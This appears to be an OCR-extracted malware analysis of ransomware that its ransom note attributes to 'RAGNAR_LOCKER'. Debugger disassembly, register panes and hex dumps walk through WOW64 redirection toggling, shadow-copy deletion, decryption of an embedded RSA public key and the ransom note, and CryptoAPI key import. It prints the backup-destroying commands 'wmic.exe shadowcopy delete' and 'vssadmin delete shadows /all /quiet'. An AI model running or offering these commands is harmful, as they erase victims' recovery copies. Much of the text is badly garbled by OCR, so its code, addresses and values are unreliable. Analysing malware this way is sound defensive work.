|| 004033FE ES DD4BDDDD call <IMP.&Process32Nexti> TR 5 (e Foriie 5 (e
¢|| 00403403 85C| test eax,eax [System Process]” L (EmpEy) X L (EmpTy)
00403405 ~ DFBS ASFFFFFE jne edp. 403350 XB7TW_6 3 (EMPTy)  X87TW_7 3 (Empty)
| 00403408 FF75 FC push dword ptr H.[eh 41
e || 0D40340E FF15 70804000 €all dword ptr d [«c]aseHancﬂa] xB75tatusword 0100
o | 00403414 8Da5 Fa Tea eax,dword per ss:[febp-cl XB7TSW_B. XB7SW_C3 0 xB7SW. C2 O
|| 00403417 50 push eax eax:"[System Process x87SW_C1 0 xX87SW_CO 1 x87SW_ES O
¢ | 00403418 6A 00 push x87SW_SF 0 X87SW_P O Xx87SW_U O
00403414 E3 D1F9FFFF call Edp.-szzo XB7SW_O O x87SW_Z 0O x87SWD O
0040341F 8BFO mov esi ,eax Process]”, X87SW_I O X87SW_TOP O (STD=X87F0)
o | 00403421 83C4 08 add esp,
® (| 00403424 8975 FB mov. dwnrd ptr ss:|[febp-&l,esi
o| 00403427 85F6 test esi,esi Process]” Default (stdcall)
e || 00403423 ~ OFB5 F1FEFFFF jne_edp. 403320 1: [esp] 0015F548 "[System process]”
o | D040342F ES8 CCDBFFFF call edp.401000 2: [espt4] OD4DEGEE "sql”
00403 68 C3010000 push 1€3 w | 3: [esp+8] 00404DBC <edp.EntryPoints>
] B co annnannn cofi Dac .oooon 5 31 [esp+c] DO0DDODOD
Woump 1 @oump2  WMoump3  EWoump4  Wpumps @ watch1  [x-lLlocals & struct mgg -gﬁﬁtm process]

After process termination, another routine is called. This routine first calls
GetNativeSystemInfo() in order to check the value of
DUMMYUNIONNAME.DUMMYSTRUCTNAME.wProcessorArchitecture stored in the
SYSTEM _INFO struct. If wProcessorArchitecture is
PROCESSOR_ARCHITECTURE_AMDG64 (0x9), then LoadLibraryW(L"kernel32.dIl") is called
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and the address of Wow64EnableWow64FsRedirection() is obtained via a call to
GetProcAddress(). This WinAPI is then called with Wow64FsEnableRedirection set to
FALSE, thus disabling WOWG64 system folder redirection.

& 00401000 55 push ebp
@ 00401001 BBEC mov ebp,esp
& | 00401003 81EC FB000000 sub esp,F3
@ 00401009 8DB85 4CFFFFFF T1ea eax,dword ptr ss:[febp-EB4]
& 0040100F 4] push eax
& 00401010 FF15 74504000 call dword ptr ds: [<&GetNativeSystemInfos]
@ 00401016 66: 83BD 4CFFFFFF | cmp word ptr ss:|[ebp-B4],2
r—---#| 0040101E ~ 75 1B jne edp. 401038
i ® || 00401020 68 ACSZ4000 push edp.4082AC
! @ 00401025 FF15 A4304000 call dword ptr ds:[<&LocadlLibraryw:]
! & | 0D40102B 68 CBB24000 push edp.4082C8
! & 00401030 50 push eax
! & 00401031 FFl5: FCS814000 call dword ptr ds:[<&GetProcAddresss=]
1 ®| 00401037 6A 00 push 0
i ®| 004010329 FFDO EETN =ax
L@ | 00O40103E 53 push ebx
@ 0040103C 5 push esi
@ 00401030 57 push edi
®| 0040103E 8DB5 OBFFFFFF lea eax,dword ptr ss:|[ebp-F&f]
& 00401044 50 push eax
& 00401045 FF15 ACSB04000 call dword ptr ds: [<&GetStartupInfons]
& 0040104B S8B3D ASS04000 mov 2di,dword ptr ds:[<&CreateProcessie-]
®| 00401051 33C0 XOr eax,eax
@ 00401053 66: 8985 3IBFFFFFF (mov word ptr ss:|lebp-C&], ax
@ 00401054 66: 8945 FC mov word ptr ssilffebp-4], ax
@ 0040105E 8DBL FOFFFFFF 1ea eax,dword ptr ss:[Jebp-20]
®| 00401064 4] push eax
@[ 00401065 8D85 OBFFFFFF Tea eax,dword ptr ss:|[febp-F&]
& 0040106E C785 24FFFFFF 01 mov dword ptr ss:lfebp-CC,1
& 00401075 ] push eax
& | 00401076 &6A 00 push 0O
@ | 00401078 6A 00 push O
®| 0040107A 6A 20 push 20
& | 0040107C 6A 00 push 0O
@ | OD40107E &4 DO push 0O
® ([ 00401080 64 00 push 0
& | 00401082 8D45 C8 1ea eax,dword ptr ss:[lebp-38]
& 00401085 C745 80 7e007300|mov dword ptr ssilffebp-50],730076
@ 0040108C 50 push eax
@& | 00401080 6A 00 push O
@ 0040108F C745 84 73006100 | mov dword ptr ssi|ffebp-7CJ,610073
@ 00401096 C745 88 64006D00 | mov dword ptr ss:lffebp-738],6D00064
® | 00401090 C745 8C 69006E00 |mov dword ptr ss:|febp-74],6E0069
& 00401044 C745 90 20006400 |mov dword ptr ss:|febp-70§,640020
& 004010AB C745 94 65006C00 | mov dword ptr ss:jfebp-6CJ, 600065
& 00401082 C745 98 65007400 |mov dword ptr ssifebp-68],740065
@ 004010B9 C745 9C 65002000 |mov dword ptr ss:|febp-64], 200065
@ | 004010C0 C745 A0 73006800 |mov dword ptr ss:|febp-50§,680073
@ 004010CT C745 A4 61006400 | mov dword ptr ssilfebp-5C], 640061
@ 004010CE C745 A8 &FOOZ7F00|mov dword ptr ss:l|febp-538],77006F
®| 00401005 C745 AC 73002000 (mov dword ptr ss:|febp-54],z00073
@ 004010DC C745 BO 2F006100|mov dword ptr ss:|ffebp-50§,61002F
& 004010E3 C745 B4 &CO0GCOD | mov dword ptr ss:jfebp-4C), 600060
& 004010EA C745 BS 20002F00 | mov dword ptr ssilfebp-48],2F0020
@ 004010F1 C745 BC 71007500 |mov dword ptr ss:|jfebp-44],750071
@ | 004010F8 C745 CO 69006500 mov dword ptr ss:|febp-40],65006%
» A ASAS AT T Ar A Tanannmmn |l e s o shoimem sl e - Tl el - A
£ >
4% Dump 1 24 Dump 2 24 Dump 3 4% Dump 4 4% Dump 5 & watch 1 [*=] Locals ' strud
Address | Hex ASCIT
004082AC [GB 00 g5 00(72 00 &E 00|65 00 &C 00(33 00 32 00|kK.e.r.n.e.1.3.2.
D0O4082BC 6C 00 &C 00|00 OO 0O OD|(57 &F 77 36|..d.1.1..... WOWE
0O04082CC |34 45 6E 61|62 &C 65 57 |6F 77 36 34|46 73 52 65| 4Enablewowc4FsRe
004082DC |64 69 72 65|63 74 69 GF|GE 00 00 OO|57 0D 69 00| direction...w.1i.

When redirection is disabled, two unicode strings are built on the stack by a series of mov
instructions. These unicode strings will be used as IpCommandLine for subsequent calls to

CreateProcessW(). The executed command lines are:

¢ wmic.exe shadowcopy delete
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o vssadmin delete shadows /all /quiet

®[D040104E BE3D ABB04000 mov edi,dword ptr 0=: [<&CreateProcessws] wide FPU
e[ 00401051 co Xor eax,eax
& | DO40L053 66:8985 3BFFFFFF (mov word ptr ss:[[ebp-Cef, ax EAX 001305C0 L wmi had delete”
o| 00201054 668945 mov word ptr ss:[ebp-41,ax tox  on19RAsq e L
e 0040105E 8D85 TOFFFFFF lea eax,dword ptr ss:|[Jebp-30f
e[ 0os01064 50 push eax ECX 00000000
e || 00401065 8D85 OBFFEFFF lea eax,dword ptr ss:|[febp-raj EDX 00130500
e || 00401068 C785 34FFFFFF 0l0mov dword ptr ss:lfebp-ccll,1 EBP  OO13DSFB
¢ |[ 00401075 50 push esax ESE  0013D4CC
e[ D0401076 64 00 push 0 ESI 00000000
® | 00401078 6A 00 push o ERI 77CESEFO <kernel3z.CreateProcessw>
e[ noao1074 64 20 push 20
® | 0040107C 6A 00 push 0 EIF 00401161 edp. 00401161
e | DD40107E 64 00 push 0
® || noa01080 64 00 push 0
e || 00401082 BD45 C8 lea eax,dword ptr ss:|lebp-35] ;ELQGSPF 200222;6
e || 00401085 C745 B0 76007300 |mov dword ptr ss:|[Jebp-s0f,730076
o | no40108C 50 push eax OF 0 s D oDEO
¢ [ o040108D 6A 00 push 0 CERTRTE RO EL T
e[| no40108F C745 B4 73006100 |mov dword ptr ss , 610073
e[ oo401096 C745 88 64006D00|mov dword ptr ss » 600064 LastError 00000012 (ERROR_NO_MORE_FILES)
e | nD40109D €745 BC 63006E00|mov dword ptr ss ,6E00G3 LastStatus 00000000 (STATUS_SUCCESS)
o[ DD4010A4 C745 90 20006400 |mov dword ptr ss , 640020
e || Doa0104E €745 94 65006C00|mov dword ptr ss , 6CO0BS GS 00ZE FS 0053
e[ noa01082 C745 98 65007400 |mov dword ptr ss » 7 40065 ES 0D02ZB DS 0028
e[ noso1089 €745 9C 65002000 |mov dword ptr ss , 200065 Cs 0023 S5 0028
¢ || no4010c0 C745 A0 73006800 |mov dword ptr ss , 680073
b - €745 A4 61006400 mov dword ptr ss 1640061 ST(0) 00000000000000000000 X87r0 Empty O.000000000000000000
e[ noan10cE C745 A8 6F007700|mov dword ptr ss ,7 TO06F
=||srinnme Cras AC 72002000 | mov dword ptr o= '200072 ST(1) 00000000000000000000 xB7rl Empty O.000000000000000000
o | 0040100C C743 80 27006100 | mov dword pir == 'e1002F ST(2) 00000000000000000000 xB7r2 Empty O.000000000000000000
o 00401083 C745 B4 6CO0GCOD|mov dword ptr == ’ BC006EC ST(3) 00000000000000000000 xB7r3 Empty O.000000000000000000
o[ no4010EA €745 B8 20002F00|mov dword ptr == 2F0020 5T(4) 00000000000000000000 XB7rd4 Empty 0.000000000000000000
e[ noa010F1 €745 BC 71007500 |mov dword ptr ss , 750071 ST(5) 40028000000000000000 XB87r5 Empty 8.000000000000000000
e[ noao10Fs €745 CO 69006500 |mov dword ptr ss , 650069 ST(6) 3FFDCO00000000000000 X87r6 Empty O.3750000000000000000
o || DD4010FF €745 C4 74000000 |mov dword ptr ss V74 ST(7) 3FFF8000000000000000 xB87r7 Empty 1.000000000000000000
e[ DD401106 C745 C8 77006D00|mov dword ptr ss , 600077
e[ 00401100 C745 CC 63006300 |mov dword ptr ss , 630063 x87Tagword FFFF
o[ 00401114 €745 DO 2E006500|mov dword ptr == »65002E T ([ EETLE O (R
e[ Do40111B €745 D4 78006500 |mov dword ptr ss , 650078 TR & EEng% T & EEng%
e[ Do401122 €745 D8 20007300 |mov dword ptr ss ,730020 LA B (Tl Sms B Thed
¢ || 00401129 C745 DC 68006100 |mov dword ptr ss ,610068 = pLy. pLy.
e[ 00401130 €745 EO 64006F00|mov dword ptr ss , 6F0064 ¥BTTW_E 3 (Empty)  xBYTW_7 3 (Empty)
o[ noao1137 €745 E4 77006300 |mov dword ptr ss ,630077
e[ DD40113E €745 E8 6F007000|mov dword ptr ss DOOGF x875tatusword 0100
e[ DD401145 €745 EC 79002000 |mov dword ptr ss 200079
o || oD40114C C745 FO 64006500 |mov dword ptr ss , 650064 Default (stdeall)
® | 00401153 C745 F4 6C006500(mov dword ptr ss:|febp-CJJ, 65006C 1: [esp] 00000000 .
o 0040115 A C745 F8 74006500 |mov dword ptr ss:|febp-8],650074 2: [esp+4] 0019D5C0O L"wmic.exe shadowcopy delete™
E—e FFD7 call edi 3: [esp+8] 00000000
. c - - > 4: [esp+C] 00000000
" . : : . ~ a) 00000000
@pump!  @pump2  WWpump3  WWpumps  Wpumps @ watth1  bellocalk ) Stuct  [55To0%00| 0019D5CO | L wmic. exe shadowcopy delete”
0019040 4| 00000000
HexX = ASCIT - 0019040 8| 00000000
0019057876 00 73 00|Z3 00 &1 00 00 6D 00|69 OO GE 00| M.S.S.a.d.m.i.n. et loopoonon
00190588( 20 00 &4 00|65 00 6C 00 7 .d.e.l.e.t.e. . el leoooon-o
00120598 | 22 00 83 00 -h.a.d.o.w.s. . 00190 4E 4| DOODDODD
001905A8| ZE 00 61 00 |&C 00 6C 00 .a.1.1. ./.q.u. M
s 1 00190 4E8| 00000000
00190588|§9 00 €5 00|74 00 DO 00 .e.t...w.m.i.c.
00190 4EC | 0019D500
001905C8|2E_00 65 00 ..e.x.e. .s.h.a. Tt loaTe o
001905D8| 64 00 6F 00|Z7 00 63 OD|6F 00 70 00|79 00 20 00|d.0.W.C.0.P.Y. . et oot
0019D5E8| G4 00 65 00|6C 00 65 00|74 00 65 00|00 00 40 00(d.e.1.e.t.e...@. M
k 00190 4F 8| 00000000
Q0L9DSFE( L0 FA 1D 00|24 24 40 00| BC 4D 40 00|00 00 00 00 P 4@ HNE. L. 00190 4FC | D019FA20
00190608| 00 00 00 00|E4 F2 4C 00|00 00 00 00|ZQ 33 4C 00|....B0L..... p3L ramnptia|| ReE A

Right after shadow copy deletion, LoadLibraryW(L"kernel32.dll") is called once again and
Wow64EnableWow64FsRedirection() is obtained via GetProcAddress(), this time in order to
be called with Wow64FsEnableRedirection set to TRUE, thus enabling WOW64 system
folder redirection. The routine then returns.
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®( 004011581 FFES T7OFFFFFF push dword ptr ss:|ebp-20]
®( 00401187 FFD& eall =si
@ 00401189 8D85 FOFFFFFF T1ea eax,dword ptr ss:[lebp-20]
® | 0040118F ] push eax
@ | 00401190 8D85 OBFFFFFF 1ea eax,dword ptr ss:|[Jebp-FE&]
#( 00401196 50 push eax
® | 00401197 6A 00 push 0O
®( 00401199 &6A 00 push 0O
®| 00401198 64 20 push 20
& 00401190 6A 00 push O
& 0040119F 6A 00 push O
®( 004011A1 6A 00 push O
@ 00401143 8D45 BO 1ea eax,dword ptr ss:[Jebp-30]
#( 00401146 50 push eax
® | 004011A7 6A 00 push 0O
@& 004011A9 FFD7 call =di
® | 0DD4011AB &4 FF push FFFFFFFF
® | 00401140 FFBS FOFFFFFF push dword ptr ss:[Jebp-20]
@& 004011B3 FFD& call e=1
@ | 004011B5 FFBS F7OFFFFFF push dword ptr ss:|[ebp-20]
@ 004011EB FFD3 call =bx
#( 004011BD FFES T74FFFFFF push dword ptr ss:|ebp-3C[]
& 004011C3 FFD3 call =bx
@ | 004011C5 G66: 83BD 4CFFFFFF| cmp word ptr ss:|ebp-B4],2
®( 004011CD SF pop edi
@ | 004011CE SE pop esi
@ | 004011CF LB pop ebx
r——--% ([ 00401100 75 1B jne edp. 4011ED
d @& 004011D2 68 ACEBZ4000 push edp.4082AC
1 #( 00401107 FF15 A4804000 €dall dword ptr ds:[<&Loadlibraryw=]
0 ®( 00401100 68 C8824000 push edp.4082C8
I @ | 004011E2 O push eax
! ®( 004011E3 FF15 7C814000 €dall dword ptr ds:[<&GetProcAddress=>]
i ¢ | Do4011E9 64 01 push 1
) 004011EB | EEDO call =ax
L-——ve [ OO4011ED BE& 01000000 mov eax,1l
@ 004011F2 8BES mov esp,ebp
#( 004011F4 LD pop ebp
®( 004011F5 C3 ret
< >
4% Dump 1 4% Dump 2 4% Dump 3 4% Dump 4 B4 Dump 5 5 watch 1 [x=] Locals o Struct
Address | Hex ASCIT
00408zAC |GB 00 g5 00|72 00 6E 00|65 00 &C 00|33 00 32 00|K.e.r.nm.e.1.3.2.
004082BC (2E 00 €4 0QO|6C 00 &C 00|00 00 00 Q00|57 6F 77 36(..d.T1.1..... Wowe
004082CC (34 45 6E 61|62 &C &5 57 |6F 77 36 34|46 73 52 65 | 4Enablewowe4FsRe
004082DC (64 &9 72 65|63 74 &9 6F|GE 00 00 00|57 00 69 O0|direction...w.i.

It is now time for some more data decryption from the .keys section. This time, the data that
is decrypted is a 2048-bit RSA public key. We will see how it will be used later.
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&) 00402344 B5FG test esi,esi =
00402346 v~ 74 59 je edp.4023A1 " [fEE FAD
00402348 8B7D 10 mov edi,dword ptr ss:[febp+10 [ebp+10]: "= Tp
0040234B OF1F4400 00 nop dword ptr ds:[eax+eax],eax % ggggggii ,’:‘,
00402350 40 inc eax E5?  GETRETIRE ng
00402351 8D7F 01 lea edi,dword ptr ds:[edi+1] edi+l: " 96mww' o
0040235 4 OFBEDO movzx edx,al EDX  0ODOODOOBE »
00402357 5955 14 mov dword ptr ss:[ebp+14d,edx EEE  OO13DSES
| 00402354 BABC15 OOFFFFFF |mov c1,byte ptr ==:|[[ebp+edx-100] ESP  0013D4DC
| 00402361 OFBGC1 movzx eax,cl ESI 00000000
| 03C3 add eax,ebx EDI 0040B253 edp.0040B253
OFBEDE movzx ebx,al
I 8AB41D OOFFFFFF [mov al,byte ptr ss:|[ebp+ebx-100f EIP 004023AL1 edp.004023AL
888415 OOFFFFFF |mov byte ptr ss:|[lebptedx-100J,al
BB45 14 mov eax,dword ptr ss:[febp+14]
OFBED1 movzx edx,cl ;E‘?GSPF 200223;4
7 888C1D OOFFFFFF |mov byte ptr ss:|[lebp+ebx-100{,c1 OF 0 SE 0 DE O
00402384 OFBGBCO05 OOFFFFFE movzx ecx,byte ptr ss:|[Jebp+eax-100]
00402380 0301 add edx,ecx CFO TF1 IF1
0040238E OFBG&CA movzx ecx,dl
00402391 OFEG8COD DOFFFFF movEX ecx,byte ptr ss:|[[ebp+ecx-100] LastError 00000006 (ERROR_INVALID_HANDLE])
00402399 304F FF xor byte ptr ds:[edi-1],cl Laststatus CO000008 (STATUS_INVALID_HANDLE)
83EE 01 sub esi,1
~ 75 AF jne edp.402350 G5 002B FS5 0053
8B45 10 mov eax,dword ptr ss:[ebp+10] [ebp+10]:"— ES 00ZE DS 00ZB
EE pop edi €S NN23 5SS 0N2R
op esi
5 B & Default (stdcall)
BBES mov esp,ebp 1: [esp+4] 00000000
5D pop ebp [esp+8] O019FA20
3 EEE W [esp+C] BBCCF4BE
== — o [esp+10] D3EFaD1T7

; 00000015
@Woump1 | glpump2  Whpump3  YWoump4  Wloumps @B watcht  Iellocak ) Stuct [Go1oDiED| 00000DD0D

001904E4 | DOLIFAZD
Address | Hex ESEER * | oo19pD4E8 | 8BCCF4RE
DD40B090 | 2D 2D 2D 2D|2D 42 45 47|49 4E 20 50|55 42 4C 49| o———- BEGIN PUBLI Tt s SEE e
0040B0AD| 43 20 4B 45|59 2D 2D 20|2D 2D OA 4D |43 49 42 48|C KEV-----.MIIBI EToR%En [eaotaT ey
DD40BOBD| 6A 41 4E 42|67 6B 71 8|6E 69 47 33|77 30 42 41| jANBgkghkiGIWDBA o ToRtrea [oaRcaas
D040BOCO|51 45 46 41|41 4F 43 41(51 38 41 4D |49 49 42 43 | QEFAADCAQBAMIIBC RGEE (530 GAE

0040BODO | 67 4B 43 41|51 45 41 79|72 46 36 6E|75 31 65 64| gKCAQEAyrFenuled

00D40BOED| 47 66 34 SA|79 55 2F 37|43 74 58 0A|62 38 638 43| GT4ZyU,/7CEX. bBhC Lt anlig | A B

00190500 | AGDZFE0DA

0040BOFO| 2B 54 41 51(4E S5A 72 65|79 38 59 50|4C 53 65 65 (+TAQNZrey8YPLYee 00190504 | 14C4902F
0040B100| 35 44 47 30|71 31 37 4B|49 37 68 41|4D 35 6A 46|5DGOQL7KIFhAMSJF 00190508 | 12567445
0040B110|2F 74 78 71|31 78 68 71|45 6F 2B 58|77 71 78 67| /txgqlxhgEo+Xwgxg 0019D50C | SEFDBEF2

0040B120( 30 €A 6B 77 (44 4D 6C 78|53 35 48 32|0A 61 37 67 |0jkwDMIXS5HZ.a7g

0040B130( 62 44 ©9 76(43 4B 58 50|43 6B 76 5A|74 63 7A 78| bIIVCKXPCkVZTCZX ggigggig Eg;;iéiﬁ
0040B140( 70 65 76 62|57 43 39 48|76 33 65 52|44 62 55 5A|pevbwCoHvIeRIbUZ 00190518 | FBRACT7 6D
0040B150( 64 61 46 2F (72 7B 54 6A|42 73 59 75|51 4F 4C 43| daF/rxTiBsYuQoLC 0019051¢C | 6D53370E
0040B160| 33 4A 37 74|79 45 43 38|6F 37 59 6B|54 0A 6B 6C|3I7LYECB07YKT.KI1 00190520 | 76F9BAGS | shel132. 76F9BAGS
0040B170( 33 63 2B 62|32 4B 63 53|64 77 37 57|39 48 6D 31| 3c+bZKcSdw7WIHmL 00190524 | E3CE3C2A '
0040B180| 69 4C 74 4C|73 71 30 31|61 74 79 60|51 39 31 2B|iLtLsg0latymQsl+ 00190528 | EEDOTETL
0040B190( 35 51 69 74|6A 4B 53 48|71 34 66 65|62 64 54 32 |5QitjKSHQ4ThbdT2 DDlSDS;C ATBCTCBY
0040B1A0| 68 65 31 71|66 48 6B 35|2F 6A 4D 71|39 4C 0A 43| helqfHks,/jMqaL.cC 00190530 | 49581AFA
0040B1BO| 2B 63 33 48|5A 48 36 G6E|43 36 6C 71|38 4E €9 77 |+C3IHZHENCETQ8NIwW 0019D5;4 925152F7
0040B1CO |45 77 ©2 76|69 36 77 45|75 32 6B 38|33 61 61 37 |EwbviewEu2ks3aar 00190535 | SBRD1BDS
0040B1D0| 30 4E 76 45|63 76 6A 4F|6A 35 63 49|51 4C 79 42| ONVECV]OJScIQLYE 001905 3C |D50C8491
0040B1EO|54 55 63 6F (61 39 76 41|55 4F 4C 73|48 42 30 0A| TUCoaIvAUOLSHBO. 00190540 | 38192128
0040B1F0O| 43 5A 35 GA(6C 6D 66 45|67 39 76 71|73 61 68 49|CZ5ZImFEQovqsahl 00190544 | 4A5457C2
0040B200( 70 69 SA 4D (30 67 31 32|59 34 61 35|76 55 33 71|piZM0gl2y4asvu3q 00190548 | E727E206
0040B210| 31 78 46 42(47 34 50 41|5A 47 30 65|56 7A 4C 31| IXFBG4PAZGOeVZLL 001905 4C | 9713DD18
0040B220| 62 4E 52 33|72 36 64 4A|57 39 4B 73|55 45 50 4A| bNRIr&dIWIKSUEP] 00190550 | 10013124

0D40B230| DA 4A 77 49(44 41 51 41|42 OA 2D 2D (2D 2D 2D 45 (. IWIDAQAB.----—- E 0019055 4 | 64D11DFE
0040B240| 4E 44 20 50(55 42 4C 49|43 20 4B 45|59 2D 2D 2D (ND PUBLIC KEY--- 00190558 | 5020A3D9
0040B250| 2D 2D OA 00|39 36 77 77|00 00 OO0 OO|00 OO0 OO0 OO| --..96WwW........ R e e I el

Other data that is decrypted, by another call to the routine, is the final ransom note. Please
refer to the following image.
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1

1

1
¥
see

 FEEEEEEEREEN RN NN RN RN R NN NN N NN’

00402344
00402346
00402348
00402348
00402350
00402351
00402354
00402357

00402361
00402364
00402366
00402369
00402370
00402377

00402370
00402384
004023 8C
0040238E
00402391
00402399
004023 9C
004023 9F

004023A4
0040Z3AS5
004023A6
004023A7
00402349

£

00402354

0040237A

00402344

BLF6

74 59

BETD 10

OF1F 4400 00

40

BDFF 01

OFBEDO

53955 14

BABC15 OOFFFFFF
OFBGCL

03C3

OFBGDE

5A8410 DOFFFFFF
888415 ODOFFFFFF
BB45 14

OFBGDL

888C1D OOFFFFFF
OFBGBCO5S QOFFFFFAR
03Dl

OFBGCA

OFBGBCOD OOFFFFFR
304F FF

83EE 01

75 AF

8B45 10

5F

test esi,esi
je edp.4023A1
mov edi,dword
nop dword ptr
inc eax

1ea edi,dword
movzx edx,al
mov dword ptr s
mov c1,byte ptr s
mMovZy 2ax,cl

add eax,ebx

movzx ebx,al

mov al,byte ptr ss:|[lebp+rebx-100(
mov byte ptr ss:[lebp+edx-1000, al
mov eax,dword ptr ss:[febp+14])

movzy edx,cl

mov byte ptr ss:[lebp+ebx-100§,cl
MoVZX ecx,byte ptr ss:|[lebp+eax-1004
add edx,ecx

movex ecx,dl

moVvZX ecx,byte ptr ss:|[lebpt+ecx-100]
xor byte ptr ds:[edi-1],cl

sub esi,1

jne edp. 402350

mov eax,dword ptr ss:[ebp+10]

pop edi

pop esi

pop ebx

mov esp,ebp

pop ebp

ret

ptr ss:|jebp+10§
ds: [eax+eax] ,eax

ptr ds:[edi+1]

s:Bebp+14], edx
s Bebp+edx-100§

4% Dump 1

4% Dum

p2

2% Dump 3

4% Dump 4

Wypumps @ watch1  [re=lLocals

;? Struc

Address

Hex

ASCII

OO40BET O
O040BEBD
O040BES0D
O040BEAD
O040BEBD
O040BECD
O040BEDD
O040BEED
O0O40BEFD
O040BF 00
O040BF 10
O040BF20
O040BF 30
O040BF 40
O040BF50
O040BF &0
OO40BF 7O
O040BF B0
O040BF 20
O040BFAD
O040BFBO
O040BFCO
O040BFDO
OO40BFED
O040BFFO
0040000
0040C010
0040020
0040030

The 2048-bit RSA public key is then converted and its public key information imported via

24
24
2A
24
24
2A
24
2A
20
20
20
oD
&7
74
GB
20

2A
2A
2A
2A
2A
Z2A
28 2ZA
oD 0A
20 20
20 20
48 45
oA 20
20 74
658 65
20 77
6l G&E
20 66 69
68 61 73
45 44 0D
20 20 20
20 0D 0A
20 20 20
20 20 20
20 62 79
52 20 21
248 2A ZA
2A 2A 2ZA
28 24 ZA
248 Z2A ZA

ZA
2A
2A
2A
2A
ZA

2A
2A
2A
2A
2A
2A
2A
20
20
20
4C
49
&5
6E
61
64
6C
20
oA
20
20
20
20
20
oD
2A
2A
2A
2A

ZA
A
ZA
2A
A
ZA
2A
20
20
20
4C
66
69

73
20
65
62
20
20
20
20
20
52
0A
2A
ZA
2A
A

ZA
2A
2A
2A
2A

28
2A
2A
248
24
ZA ZA ZA
2A ZA 2A
20 20 20
20 20 20
20 20 20|20
4F 20 45|44
20 79 6F |75
73 20 6D |65
72

ZA
2A
2A
2A
2A

24
24
2A
24
24
2A
24
20
20

2A
2A
2A
2A
2A
Z2A
2A

20 50 45
6l &6C &L
73 20 B1
65 65 GE
20 20 20
20 20 20
20 20 20
20 20 20
20 20 20
41 47 4E
oo 0A ZA
2A ZA 2A
2A 2A 2A
2A 2ZA 24
2A 2ZA 24

20
GE

&F

20
20
20
20
20
41
2A
24
2A
24
24

Z2A
2A
2A
2A
2A

ZA
2A
2A
2A
2A
ZA
2A
20 20
20 20
20 20
50 2ZE
20 72 65|61 64
73 73
20 6E 65|74 77
4E 45 G4
(153
64 Z0
20 45 4E
20 20
20 20
20 20
20 20
20 20
52 5F
ZA
2A
2A
2A
2A

2A
2A
2A
2A
2A
ZA(2ZA ZA
2A(2A ZA
20(20 20
20(20 20
20(20 20
63 |6F 6D

ZA
A
ZA
2A
A

ZA
2A
2A
2A
2A

28
2A
2A
248
24
2A
28 ZA|[ =
20 20(*,.
20 20
20 20
20 21
692 GE
2C 20
6F 72
E2(41 54 45 44
20(79 6F 7> 72
64|61 74 61 20
43(52 59 50 54
20(20 20 20 20
20(20 20 20 20
20(20 20 20 20| ..
20(20 20 20 20
20(20 20 20 20
4C [ 4F 43 4B 45
ZA[(ZA 2A Z2A ZA(R
2A(2A 2ZA 24 2A
2A(2ZA 2ZA 2A 2A
2A(2A 2A 248 2A
2A(2A 2A 24 2A

2A &
2A [ =
2A
2A
2A
ZA

HELLO EDP.com !

If vou readin
g this message,
then vour networ
k was PENETRATED
and all of wour
files and data
has been ENCRYPT
ED. .

61|67 &5

CKE

by RAGNAR_LO
1. . ® %

CryptimportPublicKeylInfo() into the provider.
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® | 00402243 FF15 588504000 call dword ptr ds:[<&CryptStringToBinaryw>] | wide FPU
. 85C0 test eax,esax
-------- . v 74 T4 je ﬁdp.-_mzzsu EAX  0O04CEDDO
. 56 push esi
. o8 @ pishld EBX  004D9288
M FFD7 €all edi EC N cACLZE08
. S0 push sax EDX  004C0000
. FF15 60814000 €all dword ptr ds:[<&HeapFreex] EEF  OO13D5F4
®| 00402259 8D45 F4 lea eax,dword ptr ss:[[ebp-cf] ESP 0013D5C4
®( 0040225C C745 F8 00000000 | mov dword ptr ss:[[ebp-z2],0 ESI 004D BEES "x509"
. 50 push eax EDI T7CETB00 <kernel3z.GetProcessHeap>
™ 8D45 F8 lea eax,dword ptr_ss:|[[ebp-3]
. ES‘IS F4 00000000 movhdwur'd ptr ss:[febp-cll,0 EIP 00402295 edp. 00402295
. push eax
. 6A 00 push 0
. 68 00800000 push 8000 ;ELQGSPF gooﬂgzgz
. FF75 FC push dword ptr ss:|[Jebp-4] Ew D OE o
. 53 push ebx
= 6A 08 push & CF o TF o IF 1
. 6a 01 push 1
. FF15 54804000 €all dword ptr ds:[<&CryptDecodeObjectEx>] LastError 00000000 (ERROR_SUCCESS)
. 85co test eax,eax LastStatus COO00034 (STATUS_OBIECT_NAME_NOT_FOUND)
------ . v 74 39 je edp.40zzCl
. FF75 FO push dword ptr ss:|[Jebp-10] G5 0028 FS 0053
- BB45 EC mov eax,dword ptr ss:|[ebp-14] ES 00ZE QI 00ZB
: ::?glFB gﬂzn Ewurd ptr ss:llebp-sj CS 0023 33 002B
= EEZD push dword ptr ds: [eax] . ST(0) 0DO0DODOODODO0D000D0D XB7r0 EMPTY 0.000000000000000000
ey ;: T ;:\]‘,15;‘1'-'“;2)("" e AL I N G ST(1) 000D000D000D0DODDODDO0D X87F1l EMPTY O.000000000000000000
Y 25FE el e ST(2) 00000000000000000000 X87r2 Empty 0.000000000000000000
e v 74 20 je edp. 4022C1 ST(3) 00000000000000000000 X87r3 Empty 0.000000000000000000
. 53 push ebx ST(4) 00000000000000000000 X87r4 Empty 0.000000000000000000
. 64 00 push o0 ST(5) 40028000000000000000 X87r5 Empty 8.000000000000000000
. FFD7 eall edi ST(6) 3FFDCO00000000000000 X87r6 Empty O.3750000000000000000
. 50 push eax ST(7) 3FFF8000000000000000 X87r7 Empty 1.000000000000000000
. FF15 60814000 €all dword ptr ds:[<&HeapFreex]
. FF75 F8 push dword ptr ss:|Jebp-3] x87Tagword FFEF
2 EEH 70814000 cgneg:yurd ptr ds:[<&LocalFrees] XB7TTW_O 3 (Empty)  X87TW._1 3 (Empty)
. . B el 5 X87TW_2 3 (Empty) x87TW_3 3 (Empty)
p SE pop esir XB7TW_4 3 (Empty) XB87TW_5 3 (Empty)
= 5B pop ebx XB7TW_6 3 (Empty) XB7TW_7 3 (Empty)
. BBES mov esp,ebp
. 5D pop ebp xB75tatusword 0100
. €z 0400 ret 1 x87SW_E 0 XB7SW_C3I 0 xB7SW_Cz O
5F pop edi XxB7SW_C1 0 xB7SW_C0 1 xB7SW_ES 0O
. SE pop esi R ETT = = - =
. 33C0 XOr eax,eax Default (stdcall)
. ggss 338 :g;,ebp ;.: E::glﬁo;ggg;go-lﬁcmcquirecontext:-
e[ o04022C8 5D op eb : " "
. Qnqu . B28 &oe 3: EE:S:?% ggiégggg &"1.2.840,113549.1.1.1
Wooump 1l @Woump2  @Woump3  WUoump 4 W Dump s @ watch1 1=l Locals 0019D5CH ggggggéi
ASCIT 0013D5CC | 00523988 | &"1.2.840.113549.1.1.1"
00130500 | 004CEDD4
